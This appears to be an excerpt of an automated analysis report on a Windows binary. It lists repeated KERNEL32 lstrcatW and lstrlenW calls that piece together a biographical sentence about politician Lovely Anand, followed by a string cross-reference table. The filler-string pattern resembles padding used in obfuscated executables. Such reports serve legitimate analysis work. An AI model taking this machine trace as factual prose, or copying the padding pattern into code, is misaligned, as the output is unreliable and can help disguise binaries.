lstrcatW.KERNEL32(00000000,Anand), ref: 004114EE
lstrcatW.KERNEL32(00000000,0044A058), ref: 004114F6
lstrcatW.KERNEL32(00000000,0044A060), ref: 004114FE
lstrcatW.KERNEL32(00000000,Indian), ref: 00411506
lstrcatW.KERNEL32(00000000,politician), ref: 0041150E
lstrcatW.KERNEL32(00000000,and), ref: 00411516
lstrcatW.KERNEL32(00000000,former), ref: 0041151E
lstrcatW.KERNEL32(00000000,member), ref: 00411526
lstrcatW.KERNEL32(00000000,0044A0B8), ref: 0041152E
lstrcatW.KERNEL32(00000000,the), ref: 00411536
lstrcatW.KERNEL32(00000000,10th), ref: 0041153E
lstrcatW.KERNEL32(00000000,Lok), ref: 00411546
lstrcatW.KERNEL32(00000000,Sabha), ref: 0041154E
lstrcatW.KERNEL32(00000000,the), ref: 00411556
lstrcatW.KERNEL32(00000000,lower), ref: 0041155E
lstrcatW.KERNEL32(00000000,house), ref: 00411566
lstrcatW.KERNEL32(00000000,0044A108), ref: 0041156E
lstrcatW.KERNEL32(00000000,the), ref: 00411576
lstrcatW.KERNEL32(00000000,Parliament), ref: 0041157E
lstrcatW.KERNEL32(00000000,0044A130), ref: 00411586
lstrcatW.KERNEL32(00000000,India), ref: 0041158E
lstrcatW.KERNEL32(00000000,and), ref: 00411596
lstrcatW.KERNEL32(00000000,also), ref: 0041159E
lstrcatW.KERNEL32(00000000,the), ref: 004115A6
lstrcatW.KERNEL32(00000000,granddaughter), ref: 004115AE
lstrcatW.KERNEL32(00000000,0044A17C), ref: 004115B6
lstrcatW.KERNEL32(00000000,Freedom), ref: 004115BE
lstrcatW.KERNEL32(00000000,Fighter), ref: 004115C6
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 004115CE
lstrcatW.KERNEL32(00000000,Prasad), ref: 004115D6
lstrcatW.KERNEL32(00000000,Sinha), ref: 004115DE
lstrcatW.KERNEL32(00000000,Lovely), ref: 004115EB
lstrcatW.KERNEL32(00000000,Anand), ref: 004115F3
lstrcatW.KERNEL32(00000000,0044A1F0), ref: 004115FB
lstrcatW.KERNEL32(00000000,0044A1F8), ref: 00411603
lstrcatW.KERNEL32(00000000,Indian), ref: 0041160B
lstrcatW.KERNEL32(00000000,politician), ref: 00411613
lstrcatW.KERNEL32(00000000,and), ref: 0041161B
lstrcatW.KERNEL32(00000000,former), ref: 00411623
lstrcatW.KERNEL32(00000000,member), ref: 0041162B
lstrcatW.KERNEL32(00000000,0044A250), ref: 00411633
lstrcatW.KERNEL32(00000000,the), ref: 0041163B
lstrcatW.KERNEL32(00000000,10th), ref: 00411643
lstrcatW.KERNEL32(00000000,Lok), ref: 0041164B
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411653
lstrcatW.KERNEL32(00000000,the), ref: 0041165B
lstrcatW.KERNEL32(00000000,lower), ref: 00411663
lstrcatW.KERNEL32(00000000,house), ref: 0041166B
lstrcatW.KERNEL32(00000000,0044A2A0), ref: 00411673
lstrcatW.KERNEL32(00000000,the), ref: 0041167B
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411683
lstrcatW.KERNEL32(00000000,0044A2C8), ref: 0041168B
lstrcatW.KERNEL32(00000000,India), ref: 00411693
lstrcatW.KERNEL32(00000000,and), ref: 0041169B
lstrcatW.KERNEL32(00000000,also), ref: 004116A3
lstrcatW.KERNEL32(00000000,the), ref: 004116AB
lstrcatW.KERNEL32(00000000,granddaughter), ref: 004116B3
lstrcatW.KERNEL32(00000000,0044A314), ref: 004116BB
lstrcatW.KERNEL32(00000000,Freedom), ref: 004116C3
lstrcatW.KERNEL32(00000000,Fighter), ref: 004116CB
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 004116D3
lstrcatW.KERNEL32(00000000,Prasad), ref: 004116DB
lstrcatW.KERNEL32(00000000,Sinha), ref: 004116E3
lstrlenW.KERNEL32(00000000), ref: 004116E6
lstrlenW.KERNEL32(00000000), ref: 004116E9
lstrlenW.KERNEL32(00000000), ref: 004116EC
lstrlenW.KERNEL32(00000000), ref: 004116EF
lstrlenW.KERNEL32(00000000), ref: 004116F2
lstrlenW.KERNEL32(00000000), ref: 004116F5
lstrlenW.KERNEL32(00000000), ref: 004116F8
lstrlenW.KERNEL32(00000000), ref: 004116FB
lstrlenW.KERNEL32(00000000), ref: 004116FE
lstrlenW.KERNEL32(00000000), ref: 00411701
lstrlenW.KERNEL32(00000000), ref: 00411704
lstrlenW.KERNEL32(00000000), ref: 00411707
lstrlenW.KERNEL32(00000000), ref: 0041170A
lstrlenW.KERNEL32(00000000), ref: 0041170D
lstrlenW.KERNEL32(00000000), ref: 00411710
lstrlenW.KERNEL32(00000000), ref: 00411713
lstrlenW.KERNEL32(00000000), ref: 00411716
lstrlenW.KERNEL32(00000000), ref: 00411719
lstrlenW.KERNEL32(00000000), ref: 0041171C
lstrlenW.KERNEL32(00000000), ref: 0041171F
lstrlenW.KERNEL32(00000000), ref: 00411722
lstrlenW.KERNEL32(00000000), ref: 00411725
lstrlenW.KERNEL32(00000000), ref: 00411728
lstrlenW.KERNEL32(00000000), ref: 0041172B
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411733
lstrcatW.KERNEL32(00000000,Anand), ref: 0041173B
lstrcatW.KERNEL32(00000000,0044A388), ref: 00411743
lstrcatW.KERNEL32(00000000,0044A390), ref: 0041174B
lstrcatW.KERNEL32(00000000,Indian), ref: 00411753
lstrcatW.KERNEL32(00000000,politician), ref: 0041175B
lstrcatW.KERNEL32(00000000,and), ref: 00411763
lstrcatW.KERNEL32(00000000,former), ref: 0041176B
lstrcatW.KERNEL32(00000000,member), ref: 00411773
lstrcatW.KERNEL32(00000000,0044A3E8), ref: 0041177B
lstrcatW.KERNEL32(00000000,the), ref: 00411783
lstrcatW.KERNEL32(00000000,10th), ref: 0041178B
lstrcatW.KERNEL32(00000000,Lok), ref: 00411793
lstrcatW.KERNEL32(00000000,Sabha), ref: 0041179B
lstrcatW.KERNEL32(00000000,the), ref: 004117A3
lstrcatW.KERNEL32(00000000,lower), ref: 004117AB
lstrcatW.KERNEL32(00000000,house), ref: 004117B3
lstrcatW.KERNEL32(00000000,0044A438), ref: 004117BB
lstrcatW.KERNEL32(00000000,the), ref: 004117C3
lstrcatW.KERNEL32(00000000,Parliament), ref: 004117CB
lstrcatW.KERNEL32(00000000,0044A460), ref: 004117D3
lstrcatW.KERNEL32(00000000,India), ref: 004117DB
lstrcatW.KERNEL32(00000000,and), ref: 004117E3
lstrcatW.KERNEL32(00000000,also), ref: 004117EB
lstrcatW.KERNEL32(00000000,the), ref: 004117F3
lstrcatW.KERNEL32(00000000,granddaughter), ref: 004117FB
lstrcatW.KERNEL32(00000000,0044A4AC), ref: 00411803
lstrcatW.KERNEL32(00000000,Freedom), ref: 0041180B
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411813
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 0041181B
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411823
lstrcatW.KERNEL32(00000000,Sinha), ref: 0041182B

Part of subcall function 0040AD80: ExitProcess.KERNEL32 ref: 0040ADEE

lstrcatW.KERNEL32(00000000,Lovely), ref: 00411838
lstrcatW.KERNEL32(00000000,Anand), ref: 00411840
lstrcatW.KERNEL32(00000000,0044A520), ref: 00411848
lstrcatW.KERNEL32(00000000,0044A528), ref: 00411850
lstrcatW.KERNEL32(00000000,Indian), ref: 00411858
lstrcatW.KERNEL32(00000000,politician), ref: 00411860
lstrcatW.KERNEL32(00000000,and), ref: 00411868
lstrcatW.KERNEL32(00000000,former), ref: 00411870
lstrcatW.KERNEL32(00000000,member), ref: 00411878
lstrcatW.KERNEL32(00000000,0044A580), ref: 00411880
lstrcatW.KERNEL32(00000000,the), ref: 00411888
lstrcatW.KERNEL32(00000000,10th), ref: 00411890
lstrcatW.KERNEL32(00000000,Lok), ref: 00411898
lstrcatW.KERNEL32(00000000,Sabha), ref: 004118A0
lstrcatW.KERNEL32(00000000,the), ref: 004118A8
lstrcatW.KERNEL32(00000000,lower), ref: 004118B0
lstrcatW.KERNEL32(00000000,house), ref: 004118B8
lstrcatW.KERNEL32(00000000,0044A5D0), ref: 004118C0
lstrcatW.KERNEL32(00000000,the), ref: 004118C8
lstrcatW.KERNEL32(00000000,Parliament), ref: 004118D0
lstrcatW.KERNEL32(00000000,0044A5F8), ref: 004118D8
lstrcatW.KERNEL32(00000000,India), ref: 004118E0
lstrcatW.KERNEL32(00000000,and), ref: 004118E8
lstrcatW.KERNEL32(00000000,also), ref: 004118F0
lstrcatW.KERNEL32(00000000,the), ref: 004118F8
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411900
lstrcatW.KERNEL32(00000000,0044A644), ref: 00411908
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411910
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411918
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411920
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411928
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411930
lstrlenW.KERNEL32(00000000), ref: 00411933
lstrlenW.KERNEL32(00000000), ref: 00411936
lstrlenW.KERNEL32(00000000), ref: 00411939
lstrlenW.KERNEL32(00000000), ref: 0041193C
lstrlenW.KERNEL32(00000000), ref: 0041193F
lstrlenW.KERNEL32(00000000), ref: 00411942
lstrlenW.KERNEL32(00000000), ref: 00411945
lstrlenW.KERNEL32(00000000), ref: 00411948
lstrlenW.KERNEL32(00000000), ref: 0041194B
lstrlenW.KERNEL32(00000000), ref: 0041194E
lstrlenW.KERNEL32(00000000), ref: 00411951
lstrlenW.KERNEL32(00000000), ref: 00411954
lstrlenW.KERNEL32(00000000), ref: 00411957
lstrlenW.KERNEL32(00000000), ref: 0041195A
lstrlenW.KERNEL32(00000000), ref: 0041195D
lstrlenW.KERNEL32(00000000), ref: 00411960
lstrlenW.KERNEL32(00000000), ref: 00411963
lstrlenW.KERNEL32(00000000), ref: 00411966
lstrlenW.KERNEL32(00000000), ref: 00411969
lstrlenW.KERNEL32(00000000), ref: 0041196C
lstrlenW.KERNEL32(00000000), ref: 0041196F
lstrlenW.KERNEL32(00000000), ref: 00411972
lstrlenW.KERNEL32(00000000), ref: 00411975
lstrlenW.KERNEL32(00000000), ref: 00411978
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411980
lstrcatW.KERNEL32(00000000,Anand), ref: 00411988
lstrcatW.KERNEL32(00000000,0044A6B8), ref: 00411990
lstrcatW.KERNEL32(00000000,0044A6C0), ref: 00411998
lstrcatW.KERNEL32(00000000,Indian), ref: 004119A0
lstrcatW.KERNEL32(00000000,politician), ref: 004119A8
lstrcatW.KERNEL32(00000000,and), ref: 004119B0
lstrcatW.KERNEL32(00000000,former), ref: 004119B8
lstrcatW.KERNEL32(00000000,member), ref: 004119C0
lstrcatW.KERNEL32(00000000,0044A718), ref: 004119C8
lstrcatW.KERNEL32(00000000,the), ref: 004119D0
lstrcatW.KERNEL32(00000000,10th), ref: 004119D8
lstrcatW.KERNEL32(00000000,Lok), ref: 004119E0
lstrcatW.KERNEL32(00000000,Sabha), ref: 004119E8
lstrcatW.KERNEL32(00000000,the), ref: 004119F0
lstrcatW.KERNEL32(00000000,lower), ref: 004119F8
lstrcatW.KERNEL32(00000000,house), ref: 00411A00
lstrcatW.KERNEL32(00000000,0044A768), ref: 00411A08
lstrcatW.KERNEL32(00000000,the), ref: 00411A10
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411A18
lstrcatW.KERNEL32(00000000,0044A790), ref: 00411A20
lstrcatW.KERNEL32(00000000,India), ref: 00411A28
lstrcatW.KERNEL32(00000000,and), ref: 00411A30
lstrcatW.KERNEL32(00000000,also), ref: 00411A38
lstrcatW.KERNEL32(00000000,the), ref: 00411A40
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411A48
lstrcatW.KERNEL32(00000000,0044A7DC), ref: 00411A50
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411A58
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411A60
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411A68
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411A70
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411A78
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411A85
lstrcatW.KERNEL32(00000000,Anand), ref: 00411A8D
lstrcatW.KERNEL32(00000000,0044A850), ref: 00411A95
lstrcatW.KERNEL32(00000000,0044A858), ref: 00411A9D
lstrcatW.KERNEL32(00000000,Indian), ref: 00411AA5
lstrcatW.KERNEL32(00000000,politician), ref: 00411AAD
lstrcatW.KERNEL32(00000000,and), ref: 00411AB5
lstrcatW.KERNEL32(00000000,former), ref: 00411ABD
lstrcatW.KERNEL32(00000000,member), ref: 00411AC5
lstrcatW.KERNEL32(00000000,0044A8B0), ref: 00411ACD
lstrcatW.KERNEL32(00000000,the), ref: 00411AD5
lstrcatW.KERNEL32(00000000,10th), ref: 00411ADD
lstrcatW.KERNEL32(00000000,Lok), ref: 00411AE5
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411AED
lstrcatW.KERNEL32(00000000,the), ref: 00411AF5
lstrcatW.KERNEL32(00000000,lower), ref: 00411AFD
lstrcatW.KERNEL32(00000000,house), ref: 00411B05
lstrcatW.KERNEL32(00000000,0044A900), ref: 00411B0D
lstrcatW.KERNEL32(00000000,the), ref: 00411B15
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411B1D
lstrcatW.KERNEL32(00000000,0044A928), ref: 00411B25
lstrcatW.KERNEL32(00000000,India), ref: 00411B2D
lstrcatW.KERNEL32(00000000,and), ref: 00411B35
lstrcatW.KERNEL32(00000000,also), ref: 00411B3D
lstrcatW.KERNEL32(00000000,the), ref: 00411B45
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411B4D
lstrcatW.KERNEL32(00000000,0044A974), ref: 00411B55
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411B5D
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411B65
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411B6D
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411B75
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411B7D
lstrlenW.KERNEL32(00000000), ref: 00411B80
lstrlenW.KERNEL32(00000000), ref: 00411B83
lstrlenW.KERNEL32(00000000), ref: 00411B86
lstrlenW.KERNEL32(00000000), ref: 00411B89
lstrlenW.KERNEL32(00000000), ref: 00411B8C
lstrlenW.KERNEL32(00000000), ref: 00411B8F
lstrlenW.KERNEL32(00000000), ref: 00411B92
lstrlenW.KERNEL32(00000000), ref: 00411B95
lstrlenW.KERNEL32(00000000), ref: 00411B98
lstrlenW.KERNEL32(00000000), ref: 00411B9B
lstrlenW.KERNEL32(00000000), ref: 00411B9E
lstrlenW.KERNEL32(00000000), ref: 00411BA1
lstrlenW.KERNEL32(00000000), ref: 00411BA4
lstrlenW.KERNEL32(00000000), ref: 00411BA7
lstrlenW.KERNEL32(00000000), ref: 00411BAA
lstrlenW.KERNEL32(00000000), ref: 00411BAD
lstrlenW.KERNEL32(00000000), ref: 00411BB0
lstrlenW.KERNEL32(00000000), ref: 00411BB3
lstrlenW.KERNEL32(00000000), ref: 00411BB6
lstrlenW.KERNEL32(00000000), ref: 00411BB9
lstrlenW.KERNEL32(00000000), ref: 00411BBC
lstrlenW.KERNEL32(00000000), ref: 00411BBF
lstrlenW.KERNEL32(00000000), ref: 00411BC2
lstrlenW.KERNEL32(00000000), ref: 00411BC5
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411BCD
lstrcatW.KERNEL32(00000000,Anand), ref: 00411BD5
lstrcatW.KERNEL32(00000000,0044A9E8), ref: 00411BDD
lstrcatW.KERNEL32(00000000,0044A9F0), ref: 00411BE5
lstrcatW.KERNEL32(00000000,Indian), ref: 00411BED
lstrcatW.KERNEL32(00000000,politician), ref: 00411BF5
lstrcatW.KERNEL32(00000000,and), ref: 00411BFD
lstrcatW.KERNEL32(00000000,former), ref: 00411C05
lstrcatW.KERNEL32(00000000,member), ref: 00411C0D
lstrcatW.KERNEL32(00000000,0044AA48), ref: 00411C15
lstrcatW.KERNEL32(00000000,the), ref: 00411C1D
lstrcatW.KERNEL32(00000000,10th), ref: 00411C25
lstrcatW.KERNEL32(00000000,Lok), ref: 00411C2D
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411C35
lstrcatW.KERNEL32(00000000,the), ref: 00411C3D
lstrcatW.KERNEL32(00000000,lower), ref: 00411C45
lstrcatW.KERNEL32(00000000,house), ref: 00411C4D
lstrcatW.KERNEL32(00000000,0044AA98), ref: 00411C55
lstrcatW.KERNEL32(00000000,the), ref: 00411C5D
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411C65
lstrcatW.KERNEL32(00000000,0044AAC0), ref: 00411C6D
lstrcatW.KERNEL32(00000000,India), ref: 00411C75
lstrcatW.KERNEL32(00000000,and), ref: 00411C7D
lstrcatW.KERNEL32(00000000,also), ref: 00411C85
lstrcatW.KERNEL32(00000000,the), ref: 00411C8D
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411C95
lstrcatW.KERNEL32(00000000,0044AB0C), ref: 00411C9D
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411CA5
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411CAD
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411CB5
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411CBD
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411CC5
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411CD2
lstrcatW.KERNEL32(00000000,Anand), ref: 00411CDA
lstrcatW.KERNEL32(00000000,0044AB80), ref: 00411CE2
lstrcatW.KERNEL32(00000000,0044AB88), ref: 00411CEA
lstrcatW.KERNEL32(00000000,Indian), ref: 00411CF2
lstrcatW.KERNEL32(00000000,politician), ref: 00411CFA
lstrcatW.KERNEL32(00000000,and), ref: 00411D02
lstrcatW.KERNEL32(00000000,former), ref: 00411D0A
lstrcatW.KERNEL32(00000000,member), ref: 00411D12
lstrcatW.KERNEL32(00000000,0044ABE0), ref: 00411D1A
lstrcatW.KERNEL32(00000000,the), ref: 00411D22
lstrcatW.KERNEL32(00000000,10th), ref: 00411D2A
lstrcatW.KERNEL32(00000000,Lok), ref: 00411D32
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411D3A
lstrcatW.KERNEL32(00000000,the), ref: 00411D42
lstrcatW.KERNEL32(00000000,lower), ref: 00411D4A
lstrcatW.KERNEL32(00000000,house), ref: 00411D52
lstrcatW.KERNEL32(00000000,0044AC30), ref: 00411D5A
lstrcatW.KERNEL32(00000000,the), ref: 00411D62
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411D6A
lstrcatW.KERNEL32(00000000,0044AC58), ref: 00411D72
lstrcatW.KERNEL32(00000000,India), ref: 00411D7A
lstrcatW.KERNEL32(00000000,and), ref: 00411D82
lstrcatW.KERNEL32(00000000,also), ref: 00411D8A
lstrcatW.KERNEL32(00000000,the), ref: 00411D92
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411D9A
lstrcatW.KERNEL32(00000000,0044ACA4), ref: 00411DA2
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411DAA
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411DB2
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411DBA
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411DC2
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411DCA
lstrlenW.KERNEL32(00000000), ref: 00411DCD
lstrlenW.KERNEL32(00000000), ref: 00411DD0
lstrlenW.KERNEL32(00000000), ref: 00411DD3
lstrlenW.KERNEL32(00000000), ref: 00411DD6
lstrlenW.KERNEL32(00000000), ref: 00411DD9
lstrlenW.KERNEL32(00000000), ref: 00411DDC
lstrlenW.KERNEL32(00000000), ref: 00411DDF
lstrlenW.KERNEL32(00000000), ref: 00411DE2
lstrlenW.KERNEL32(00000000), ref: 00411DE5
lstrlenW.KERNEL32(00000000), ref: 00411DE8
lstrlenW.KERNEL32(00000000), ref: 00411DEB
lstrlenW.KERNEL32(00000000), ref: 00411DEE
lstrlenW.KERNEL32(00000000), ref: 00411DF1
lstrlenW.KERNEL32(00000000), ref: 00411DF4
lstrlenW.KERNEL32(00000000), ref: 00411DF7
lstrlenW.KERNEL32(00000000), ref: 00411DFA
lstrlenW.KERNEL32(00000000), ref: 00411DFD
lstrlenW.KERNEL32(00000000), ref: 00411E00
lstrlenW.KERNEL32(00000000), ref: 00411E03
lstrlenW.KERNEL32(00000000), ref: 00411E06
lstrlenW.KERNEL32(00000000), ref: 00411E09
lstrlenW.KERNEL32(00000000), ref: 00411E0C
lstrlenW.KERNEL32(00000000), ref: 00411E0F
lstrlenW.KERNEL32(00000000), ref: 00411E12
lstrcatW.KERNEL32(00000000,Lovely), ref: 00411E1A
lstrcatW.KERNEL32(00000000,Anand), ref: 00411E22
lstrcatW.KERNEL32(00000000,0044AD18), ref: 00411E2A
lstrcatW.KERNEL32(00000000,0044AD20), ref: 00411E32
lstrcatW.KERNEL32(00000000,Indian), ref: 00411E3A
lstrcatW.KERNEL32(00000000,politician), ref: 00411E42
lstrcatW.KERNEL32(00000000,and), ref: 00411E4A
lstrcatW.KERNEL32(00000000,former), ref: 00411E52
lstrcatW.KERNEL32(00000000,member), ref: 00411E5A
lstrcatW.KERNEL32(00000000,0044AD78), ref: 00411E62
lstrcatW.KERNEL32(00000000,the), ref: 00411E6A
lstrcatW.KERNEL32(00000000,10th), ref: 00411E72
lstrcatW.KERNEL32(00000000,Lok), ref: 00411E7A
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411E82
lstrcatW.KERNEL32(00000000,the), ref: 00411E8A
lstrcatW.KERNEL32(00000000,lower), ref: 00411E92
lstrcatW.KERNEL32(00000000,house), ref: 00411E9A
lstrcatW.KERNEL32(00000000,0044ADC8), ref: 00411EA2
lstrcatW.KERNEL32(00000000,the), ref: 00411EAA
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411EB2
lstrcatW.KERNEL32(00000000,0044ADF0), ref: 00411EBA
lstrcatW.KERNEL32(00000000,India), ref: 00411EC2
lstrcatW.KERNEL32(00000000,and), ref: 00411ECA
lstrcatW.KERNEL32(00000000,also), ref: 00411ED2
lstrcatW.KERNEL32(00000000,the), ref: 00411EDA
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411EE2
lstrcatW.KERNEL32(00000000,0044AE3C), ref: 00411EEA
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411EF2
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411EFA
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00411F02
lstrcatW.KERNEL32(00000000,Prasad), ref: 00411F0A
lstrcatW.KERNEL32(00000000,Sinha), ref: 00411F12

Part of subcall function 00410300: _memset.LIBCMT ref: 0041037D
Part of subcall function 00410300: lstrcat.KERNEL32(?,00000000), ref: 004103AF
Part of subcall function 00410300: lstrcat.KERNEL32(?,00000000), ref: 004103F4
Part of subcall function 00410300: lstrcat.KERNEL32(?,00000000), ref: 00410439
Part of subcall function 00410300: OpenEventA.KERNEL32(001F0003,00000000,?), ref: 00410466

lstrcatW.KERNEL32(00000000,Lovely), ref: 00411F1F
lstrcatW.KERNEL32(00000000,Anand), ref: 00411F27
lstrcatW.KERNEL32(00000000,0044AEB0), ref: 00411F2F
lstrcatW.KERNEL32(00000000,0044AEB8), ref: 00411F37
lstrcatW.KERNEL32(00000000,Indian), ref: 00411F3F
lstrcatW.KERNEL32(00000000,politician), ref: 00411F47
lstrcatW.KERNEL32(00000000,and), ref: 00411F4F
lstrcatW.KERNEL32(00000000,former), ref: 00411F57
lstrcatW.KERNEL32(00000000,member), ref: 00411F5F
lstrcatW.KERNEL32(00000000,0044AF10), ref: 00411F67
lstrcatW.KERNEL32(00000000,the), ref: 00411F6F
lstrcatW.KERNEL32(00000000,10th), ref: 00411F77
lstrcatW.KERNEL32(00000000,Lok), ref: 00411F7F
lstrcatW.KERNEL32(00000000,Sabha), ref: 00411F87
lstrcatW.KERNEL32(00000000,the), ref: 00411F8F
lstrcatW.KERNEL32(00000000,lower), ref: 00411F97
lstrcatW.KERNEL32(00000000,house), ref: 00411F9F
lstrcatW.KERNEL32(00000000,0044AF60), ref: 00411FA7
lstrcatW.KERNEL32(00000000,the), ref: 00411FAF
lstrcatW.KERNEL32(00000000,Parliament), ref: 00411FB7
lstrcatW.KERNEL32(00000000,0044AF88), ref: 00411FBF
lstrcatW.KERNEL32(00000000,India), ref: 00411FC7
lstrcatW.KERNEL32(00000000,and), ref: 00411FCF
lstrcatW.KERNEL32(00000000,also), ref: 00411FD7
lstrcatW.KERNEL32(00000000,the), ref: 00411FDF
lstrcatW.KERNEL32(00000000,granddaughter), ref: 00411FE7
lstrcatW.KERNEL32(00000000,0044AFD4), ref: 00411FEF
lstrcatW.KERNEL32(00000000,Freedom), ref: 00411FF7
lstrcatW.KERNEL32(00000000,Fighter), ref: 00411FFF
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 00412007
lstrcatW.KERNEL32(00000000,Prasad), ref: 0041200F
lstrcatW.KERNEL32(00000000,Sinha), ref: 00412017
lstrlenW.KERNEL32(00000000), ref: 0041201A
lstrlenW.KERNEL32(00000000), ref: 0041201D
lstrlenW.KERNEL32(00000000), ref: 00412020
lstrlenW.KERNEL32(00000000), ref: 00412023
lstrlenW.KERNEL32(00000000), ref: 00412026
lstrlenW.KERNEL32(00000000), ref: 00412029
lstrlenW.KERNEL32(00000000), ref: 0041202C
lstrlenW.KERNEL32(00000000), ref: 0041202F
lstrlenW.KERNEL32(00000000), ref: 00412032
lstrlenW.KERNEL32(00000000), ref: 00412035
lstrlenW.KERNEL32(00000000), ref: 00412038
lstrlenW.KERNEL32(00000000), ref: 0041203B
lstrlenW.KERNEL32(00000000), ref: 0041203E
lstrlenW.KERNEL32(00000000), ref: 00412041
lstrlenW.KERNEL32(00000000), ref: 00412044
lstrlenW.KERNEL32(00000000), ref: 00412047
lstrlenW.KERNEL32(00000000), ref: 0041204A
lstrlenW.KERNEL32(00000000), ref: 0041204D
lstrlenW.KERNEL32(00000000), ref: 00412050
lstrlenW.KERNEL32(00000000), ref: 00412053
lstrlenW.KERNEL32(00000000), ref: 00412056
lstrlenW.KERNEL32(00000000), ref: 00412059
lstrlenW.KERNEL32(00000000), ref: 0041205C
lstrlenW.KERNEL32(00000000), ref: 0041205F
lstrcatW.KERNEL32(00000000,Lovely), ref: 00412067
lstrcatW.KERNEL32(00000000,Anand), ref: 0041206F
lstrcatW.KERNEL32(00000000,0044B048), ref: 00412077
lstrcatW.KERNEL32(00000000,0044B050), ref: 0041207F
lstrcatW.KERNEL32(00000000,Indian), ref: 00412087
lstrcatW.KERNEL32(00000000,politician), ref: 0041208F
lstrcatW.KERNEL32(00000000,and), ref: 00412097
lstrcatW.KERNEL32(00000000,former), ref: 0041209F
lstrcatW.KERNEL32(00000000,member), ref: 004120A7
lstrcatW.KERNEL32(00000000,0044B0A8), ref: 004120AF
lstrcatW.KERNEL32(00000000,the), ref: 004120B7
lstrcatW.KERNEL32(00000000,10th), ref: 004120BF
lstrcatW.KERNEL32(00000000,Lok), ref: 004120C7
lstrcatW.KERNEL32(00000000,Sabha), ref: 004120CF
lstrcatW.KERNEL32(00000000,the), ref: 004120D7
lstrcatW.KERNEL32(00000000,lower), ref: 004120DF
lstrcatW.KERNEL32(00000000,house), ref: 004120E7
lstrcatW.KERNEL32(00000000,0044B0F8), ref: 004120EF
lstrcatW.KERNEL32(00000000,the), ref: 004120F7
lstrcatW.KERNEL32(00000000,Parliament), ref: 004120FF
lstrcatW.KERNEL32(00000000,0044B120), ref: 00412107
lstrcatW.KERNEL32(00000000,India), ref: 0041210F
lstrcatW.KERNEL32(00000000,and), ref: 00412117
lstrcatW.KERNEL32(00000000,also), ref: 0041211F
lstrcatW.KERNEL32(00000000,the), ref: 00412127
lstrcatW.KERNEL32(00000000,granddaughter), ref: 0041212F
lstrcatW.KERNEL32(00000000,0044B16C), ref: 00412137
lstrcatW.KERNEL32(00000000,Freedom), ref: 0041213F
lstrcatW.KERNEL32(00000000,Fighter), ref: 00412147
lstrcatW.KERNEL32(00000000,Rameshwar), ref: 0041214F
lstrcatW.KERNEL32(00000000,Prasad), ref: 00412157
lstrcatW.KERNEL32(00000000,Sinha), ref: 0041215F

Strings

Prasad, xrefs: 00410FEE
Lovely, xrefs: 00411293
Freedom, xrefs: 00410ED1
Sinha, xrefs: 00410EF1
10th, xrefs: 00411538
and, xrefs: 00412091
the, xrefs: 00411428
Rameshwar, xrefs: 00412001
the, xrefs: 00410D71
granddaughter, xrefs: 00410A29
Lovely, xrefs: 00411398
the, xrefs: 004120D1
Freedom, xrefs: 00410FD6
lower, xrefs: 00410F76
lower, xrefs: 00411AF7
Lok, xrefs: 00410C09
10th, xrefs: 00410D09
granddaughter, xrefs: 0041110E
Lok, xrefs: 0041178D
and, xrefs: 00411D7C
the, xrefs: 00411458
Anand, xrefs: 0041104E
Sinha, xrefs: 00411243
Freedom, xrefs: 00411DA4
house, xrefs: 00410E79
the, xrefs: 00410D41
the, xrefs: 004120B1
10th, xrefs: 0041109E
and, xrefs: 0041175D
member, xrefs: 004112D3
Lok, xrefs: 004119DA
Fighter, xrefs: 0041180D
the, xrefs: 004120F1
former, xrefs: 00410CE9
granddaughter, xrefs: 00411EDC
Prasad, xrefs: 00411F04
and, xrefs: 00410843
member, xrefs: 00411ABF
and, xrefs: 00410BD9
the, xrefs: 00411303
the, xrefs: 004110B6
the, xrefs: 00411AEF
